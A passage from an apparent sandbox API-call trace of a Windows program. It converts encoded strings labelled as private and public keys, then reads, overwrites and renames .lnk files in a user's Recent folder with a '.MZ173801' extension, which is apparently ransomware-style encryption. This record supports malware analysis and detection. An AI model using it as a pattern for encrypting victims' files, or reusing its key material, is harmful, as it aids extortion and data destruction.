lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0147.445] GetCurrentThreadId () returned 0xab4 [0147.445] GetCurrentThreadId () returned 0xab4 [0147.445] GetCurrentThreadId () returned 0xab4 [0147.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.445] GetCurrentThreadId () returned 0xab4 [0147.446] GetCurrentThreadId () returned 0xab4 [0147.446] GetCurrentThreadId () returned 0xab4 [0147.446] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\br3Sl.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\br3sl.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.446] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.446] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.446] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x404 [0147.446] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.446] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x404, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x404, lpOverlapped=0x0) returned 1 [0147.447] CloseHandle (hObject=0x280) returned 1 [0147.447] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\br3Sl.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\br3sl.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.448] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x404, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x404, lpOverlapped=0x0) returned 1 [0147.449] CloseHandle (hObject=0x280) returned 1 [0147.451] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\br3Sl.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\br3sl.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\br3Sl.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\br3sl.lnk.mz173801")) returned 1 [0147.451] GetCurrentThreadId () returned 0xab4 [0147.451] GetCurrentThreadId () returned 0xab4 [0147.451] GetCurrentThreadId () returned 0xab4 [0147.451] GetCurrentThreadId () returned 0xab4 [0147.451] GetCurrentThreadId () returned 0xab4 [0147.451] GetCurrentThreadId () returned 0xab4 [0147.451] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4b0b40b, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf4b0b40b, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf4b0b40b, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="BRtkw7h20gut.lnk", cAlternateFileName="BRTKW7~1.LNK")) returned 1 [0147.451] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.451] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.451] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BRtkw7h20gut.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\brtkw7h20gut.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4b0b40b, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf4b0b40b, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf4b0b40b, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x3c4)) returned 1 [0147.452] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BRtkw7h20gut.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\brtkw7h20gut.lnk")) returned 0x20 [0147.452] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\BRtkw7h20gut.lnk", dwFileAttributes=0x80) returned 1 [0147.455] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.456] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 